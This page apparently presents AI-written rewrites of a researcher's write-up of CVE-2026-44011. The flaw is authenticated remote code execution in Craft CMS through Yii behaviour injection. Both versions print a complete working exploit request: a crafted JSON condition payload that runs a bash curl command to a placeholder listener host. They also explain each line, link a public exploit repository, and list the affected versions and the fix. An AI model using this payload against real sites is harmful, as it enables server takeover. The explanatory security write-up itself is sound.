Skip to content
RCE Write-up Advanced

CVE-2026–44011 — Remote Code Execution in Craft CMS through malicious attached behaviour.

An authenticated Control Panel user could send a crafted condition parameter that reached FieldLayout::createFromConfig() without the usual Component::cleanseConfig() sanitisation, allowing Yii behaviour injection. This let the attacker attach a behaviour that executed an arbitrary command as the web-server user.

Martin Rozariyo I Follow

Published on medium.com

Cve

Martin Rozariyo I, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 3 min read.

Context

Craft CMS is a content management system built on the Yii framework. Yii lets you attach extra functionality to a component, called a behaviour, without modifying the original class. It also has a dynamic object configuration system that understands special keys such as __class (instantiate this class), as <name> (attach a behaviour) and on <event> (register an event handler). Because those keys are powerful, Craft normally sanitises user-controlled configuration with Component::cleanseConfig() before it reaches an object constructor.

CVE-2026-44011 is a remote code execution issue in Craft CMS. The researcher found it while solving a Hack The Box lab and wrote it up because the available material was mostly short advisories. The vulnerable path is reached through the fieldLayouts configuration inside the condition parameter of an element search request.

Setup

The only precondition stated is an authenticated Control Panel account. Full administrator access is not required: any authenticated Control Panel user can exploit the vulnerability. The proof of concept is sent with a valid session cookie and CSRF token.

Affected versions:

Branch Vulnerable Fixed in
Craft CMS 4.x 4.0.0 to 4.17.11 4.17.12
Craft CMS 5.x 5.0.0 to 5.9.17 5.9.18

Finding it

The researcher came across the CVE while working through a lab. The interesting part is the code path: an authenticated user can reach a vulnerable path through the fieldLayouts configuration inside the condition parameter. The attacker-controlled configuration reaches FieldLayout::createFromConfig() without first passing through Component::cleanseConfig().

The report describes this as a continuation of the earlier behaviour-injection issues covered by GHSA-255j-qw47-wjh5. In other words, the class of problem was already known, and this is another route into it where the sanitisation step is missing.

Exploitation

Step 1: send the search request with a crafted condition

The proof-of-concept request targets the element search action and carries the malicious configuration in condition.fieldLayouts:

HTTP
POST /admin/actions/element-search/search HTTP/2Host: hostnamehereCookie: CraftSessionId=...; ..._identity=...; CRAFT_CSRF_TOKEN=...X-Csrf-Token: ...Accept: application/jsonContent-Type: application/json{  "elementType": "craft\\elements\\Category",  "siteId": 1,  "search": "",  "condition": {    "class": "craft\\elements\\conditions\\ElementCondition",    "elementType": "craft\\elements\\Category",    "fieldLayouts": [      {        "as rce": {          "__class": "yii\\behaviors\\AttributeTypecastBehavior",          "__construct()": [            {              "attributeTypes": {                "typecastBeforeSave": [                  "Psy\\Readline\\Hoa\\ConsoleProcessus",                  "execute"                ]              },              "typecastBeforeSave": "/bin/bash -c \"curl http://your-listener-ip:port/`id`\""            }          ]        },        "on *": "self::beforeSave"      }    ]  }}

The request must be sent with a valid session cookie and CSRF token. The elementType is craft\elements\Category, siteId is 1 and the search string is empty.

Step 2: how the payload is processed

The report breaks the execution down into five points:

  1. The condition's fieldLayouts data reaches FieldLayout creation without Component::cleanseConfig().
  2. The as rce key attaches an AttributeTypecastBehavior.
  3. The behaviour is configured so that typecastBeforeSave calls Psy\Readline\Hoa\ConsoleProcessus::execute.
  4. The wildcard event "on *": "self::beforeSave" forces the typecast method to run in the same request.
  5. The attacker-controlled command is executed as the web-server user.

The report does not show a response body or any output from the server; the observable result described is the command running as the web-server user.

An exploit implementation is linked at https://github.com/khush-613/CVE-2026-44011-poc.

Root cause

Yii's configuration system treats keys such as __class, as <name> and on <event> as instructions: instantiate a class, attach a behaviour, register an event handler. Craft's defence is to run user-controlled configuration through Component::cleanseConfig() before it reaches an object constructor. On this path, the fieldLayouts configuration inside condition reaches FieldLayout::createFromConfig() without that call, so the special keys are honoured. The as rce key attaches AttributeTypecastBehavior, and the wildcard on * handler makes the typecast run during the same request, which is what turns a configuration object into command execution.

Impact

Any authenticated Control Panel user, without administrator rights, can execute arbitrary commands as the web-server user. The report does not describe any further impact beyond that, and does not state a CVSS score or severity rating.

Fix

Upgrade to Craft CMS 4.17.12 or 5.9.18. The official advisory is at https://github.com/craftcms/cms/security/advisories/GHSA-qrgm-p9w5-rrfw.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

A security researcher found a serious bug in a piece of software called Craft CMS. Craft CMS is a content management system: a program that lets people build and run websites, write articles, manage images and organise pages, usually through a private admin area called the Control Panel. Think of it as the back office of a website, where editors log in and do their work.

The bug is called CVE-2026-44011. A CVE is a public catalogue number given to a known security flaw, so that everyone can refer to the same problem by the same name. This particular flaw is a remote code execution issue. In plain terms, remote code execution means an attacker can make the server run commands of their choosing, from a distance, over the network, without ever touching the machine.

The researcher found the bug while solving a lab on Hack The Box, a site with practice environments for people learning security. They looked for detailed explanations and mostly found short advisories, which are brief official notices, so they wrote their own explanation. That is what this article walks through.

The important part for a beginner: the attacker does not need to be an administrator. Any user who can log in to the Control Panel can exploit it. The researcher describes the flaw as a continuation of earlier behaviour-injection issues, which means this kind of problem had been seen before and this is another way into it.

Affected versions

A version number is like a release label for software. Craft CMS 4.x and 5.x are two parallel lines of releases. The bug exists in these ranges:

Branch Vulnerable Fixed in
Craft CMS 4.x 4.0.0 to 4.17.11 4.17.12
Craft CMS 5.x 5.0.0 to 5.9.17 5.9.18

So if a site runs any 4.x release up to 4.17.11, or any 5.x release up to 5.9.17, it is affected. The fix arrived in 4.17.12 and 5.9.18. Upgrading is the whole remedy described here.

Why Yii behaviours matter

Craft CMS is built on top of another piece of software, a framework called Yii. A framework is a collection of ready-made building blocks that developers use so they do not have to write everything from scratch. Yii provides a feature called behaviours.

A behaviour lets you attach extra functionality to a component without modifying the original class. A class is a blueprint for an object in code; a component is one of those objects doing a job in the application. The everyday comparison: you have a plain desk (the component) and you clamp a lamp onto it (the behaviour). The desk itself is unchanged, but now it can do something new, namely light up. Behaviours are a normal, useful feature. The problem starts when an attacker can decide which lamp gets clamped on, and what it does.

Yii also has a dynamic object configuration system. Configuration here means a set of instructions, usually written as data, that tells the framework how to build an object. Yii understands special keys in that data:

  • __class: instantiate this class. In other words, create an object of the named class.
  • as <name>: attach a behaviour under that name.
  • on <event>: register an event handler, meaning code that runs when a particular event happens.

These keys are powerful because they let data decide what code gets created and run. Because of that, Craft normally sanitises user-controlled configuration with Component::cleanseConfig() before it reaches the object constructor. Sanitise means clean up and strip out anything dangerous. The constructor is the part of a class that runs when an object is created. So the normal flow is: user data arrives, it is cleaned, and only then is an object built from it. On the vulnerable path in this report, that cleaning step is missing.

The vulnerable path

An authenticated user, meaning someone logged in, can reach a vulnerable code path through the fieldLayouts configuration inside the condition parameter. A parameter is a named piece of data sent with a request. A field layout, in Craft, describes how fields are arranged for an entry type; here it is simply the place where the attacker plants their configuration.

The critical issue is that this attacker-controlled configuration reaches FieldLayout::createFromConfig() without first passing through Component::cleanseConfig(). FieldLayout::createFromConfig() is the function that builds a field layout object from configuration data. Because the cleaning step is skipped, the special Yii keys are honoured instead of being removed.

The report ties this to the earlier behaviour-injection issues from GHSA-255j-qw47-wjh5. A GHSA identifier is a reference to a security advisory published on GitHub. In short: the class of problem was already known, and this is another route into it where the sanitisation step is missing.

The proof-of-concept request

A proof of concept is a concrete demonstration that a bug is real, usually a request or a small program that triggers it. The researcher's request targets the element search action and carries the malicious configuration in condition.fieldLayouts:

HTTP
POST /admin/actions/element-search/search HTTP/2Host: hostnamehereCookie: CraftSessionId=...; ..._identity=...; CRAFT_CSRF_TOKEN=...X-Csrf-Token: ...Accept: application/jsonContent-Type: application/json{  "elementType": "craft\\elements\\Category",  "siteId": 1,  "search": "",  "condition": {    "class": "craft\\elements\\conditions\\ElementCondition",    "elementType": "craft\\elements\\Category",    "fieldLayouts": [      {        "as rce": {          "__class": "yii\\behaviors\\AttributeTypecastBehavior",          "__construct()": [            {              "attributeTypes": {                "typecastBeforeSave": [                  "Psy\\Readline\\Hoa\\ConsoleProcessus",                  "execute"                ]              },              "typecastBeforeSave": "/bin/bash -c \"curl http://your-listener-ip:port/`id`\""            }          ]        },        "on *": "self::beforeSave"      }    ]  }}

Line by line, in plain words:

  1. POST /admin/actions/element-search/search HTTP/2 is the request line. POST is the method used to send data to a server. The path points at the search action inside the admin area. HTTP/2 is the version of the web protocol being used.
  2. Host: hostnamehere says which website the request is for. A hostname is the name of a server on the network, like a street address for a building.
  3. Cookie: CraftSessionId=...; ..._identity=...; CRAFT_CSRF_TOKEN=... carries cookies. A cookie is a small piece of data the browser stores and sends back to a site, and it is how a site remembers that you are logged in. The session cookie identifies your login session; the identity cookie is part of how Craft recognises the user; the CSRF token is a value the site issues to prove the request really came from its own pages.
  4. X-Csrf-Token: ... repeats the CSRF token in a custom header. A header is a labelled line of extra information sent with a request. CSRF stands for cross-site request forgery, an attack where another site tricks your browser into sending a request you did not intend; the token makes that hard, because the attacker's site does not know the value.
  5. Accept: application/json tells the server the client would like a JSON answer. JSON is a text format for structured data, made of keys and values.
  6. Content-Type: application/json says the body of the request is JSON.
  7. The body is a JSON object. elementType is craft\elements\Category, so the search is about categories, a type of content in Craft. siteId is 1 and search is an empty string.
  8. Inside condition, class names craft\elements\conditions\ElementCondition, the condition class to build. elementType repeats the category type.
  9. fieldLayouts is an array, a list, with one entry. That entry contains the two special keys. "as rce" is the as <name> key: attach a behaviour called rce. "on *" is the on <event> key with a wildcard, meaning every event, and its handler is self::beforeSave.
  10. The behaviour being attached is yii\behaviors\AttributeTypecastBehavior, a Yii behaviour that converts attribute values from one type to another, for example text to a number.
  11. __construct() supplies arguments for building that behaviour. Inside, attributeTypes maps typecastBeforeSave to a pair: the class Psy\Readline\Hoa\ConsoleProcessus and the method execute. In other words, when the typecast runs before saving, it should call that class's execute method.
  12. typecastBeforeSave is also given a string: /bin/bash -c "curl http://your-listener-ip:port/id". This is the command the attacker wants run. /bin/bash -c means run the following text as a shell command. curl is a tool that makes web requests. The backticks around id mean: run the id command first and paste its output into the URL. your-listener-ip:port is a placeholder for a server the attacker controls, waiting to receive the request.

Why send it this way? Because the request looks like an ordinary search from a logged-in editor, but the condition data is treated as instructions for building objects. The attacker is using the configuration system itself as the delivery mechanism.

How the payload is processed

The report breaks execution down into five points:

  1. The condition's fieldLayouts data reaches FieldLayout creation without Component::cleanseConfig(). The cleaning step that would strip the special keys never happens.
  2. The as rce key attaches an AttributeTypecastBehavior. The framework reads the key as an instruction and clamps the behaviour onto the object.
  3. The behaviour is configured so that typecastBeforeSave calls Psy\Readline\Hoa\ConsoleProcessus::execute. That class and method are the route to running a process on the server.
  4. The wildcard event "on *": "self::beforeSave" forces the typecast method to run in the same request.
  5. The attacker-controlled command is executed as the web-server user. The web-server user is the operating-system account the web server runs under.

The command in the payload is:

Bash
/bin/bash -c "curl http://your-listener-ip:port/`id`"

The report does not show a response body or any output from the server; the observable result described is the command running as the web-server user.

An exploit implementation is linked at https://github.com/khush-613/CVE-2026-44011-poc.

Root cause

Yii's configuration system treats keys such as __class, as <name> and on <event> as instructions: instantiate a class, attach a behaviour, register an event handler. That is by design and is useful. Craft's defence is to run user-controlled configuration through Component::cleanseConfig() before it reaches an object constructor, so that data from a user cannot smuggle in those instructions.

On this path, the fieldLayouts configuration inside condition reaches FieldLayout::createFromConfig() without that call, so the special keys are honoured. The as rce key attaches AttributeTypecastBehavior, and the wildcard on * handler makes the typecast run during the same request. That combination is what turns a configuration object into command execution: data that should only describe a layout ends up naming a class and a method to run.

Impact

Any authenticated Control Panel user, without administrator rights, can execute arbitrary commands as the web-server user. Arbitrary here means the attacker chooses the command, not just one fixed action. The report does not describe any further impact beyond that, and does not state a CVSS score or severity rating. CVSS is a standard scoring system for the severity of a vulnerability; this report simply does not give one.

Fix

Upgrade to Craft CMS 4.17.12 or 5.9.18. The official advisory is at https://github.com/craftcms/cms/security/advisories/GHSA-qrgm-p9w5-rrfw.

Glossary

  • Advisory: a short official notice about a security problem, usually naming affected versions and the fix.
  • API: a defined way for one program to talk to another, like a service counter where you ask for something in a set format.
  • Attribute: a named value belonging to an object, such as a title or a number.
  • Behaviour: a Yii feature that attaches extra functionality to a component without changing the original class.
  • Callback: an incoming request from the target server to a machine the tester controls, used to confirm that code ran.
  • Class: a blueprint in code that describes what an object can hold and do.
  • Component: an object in the application that performs a job and can have behaviours attached.
  • Condition: a data structure describing a filter or rule, used here to carry the malicious configuration.
  • Configuration: data that tells a program how to build or set up an object.
  • Constructor: the part of a class that runs when an object is created.
  • Cookie: a small piece of data a browser stores for a site and sends back with requests, often used to remember a login.
  • Craft CMS: a content management system used to build and run websites, with a private admin area called the Control Panel.
  • CSRF: cross-site request forgery, an attack where another site tricks your browser into sending a request you did not intend.
  • CSRF token: a value issued by the site and required in requests, so that forged requests from other sites fail.
  • CVSS: a standard scoring system for the severity of a vulnerability.
  • CVE: a public catalogue number for a known security flaw.
  • Field layout: in Craft, the description of how fields are arranged for a type of content.
  • Framework: a collection of ready-made building blocks developers use to build software.
  • GHSA: an identifier for a security advisory published on GitHub.
  • Header: a labelled line of extra information sent with a web request or response.
  • Hostname: the name of a server on a network.
  • HTTP/2: a version of the protocol browsers and servers use to exchange web requests and responses.
  • JSON: a text format for structured data made of keys and values.
  • Parameter: a named piece of data sent with a request.
  • Proof of concept: a concrete demonstration that a bug is real, usually a request or small program that triggers it.
  • Remote code execution: a flaw that lets an attacker make a server run commands of their choosing over the network.
  • Sanitise: clean up data by removing or neutralising anything dangerous before it is used.
  • Session: a period during which a site remembers who you are, usually tracked by a session cookie.
  • Web-server user: the operating-system account the web server runs under, which limits what commands it can run.
  • Wildcard: a symbol meaning "anything", here used in on * to mean every event.
  • Yii: the framework Craft CMS is built on.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.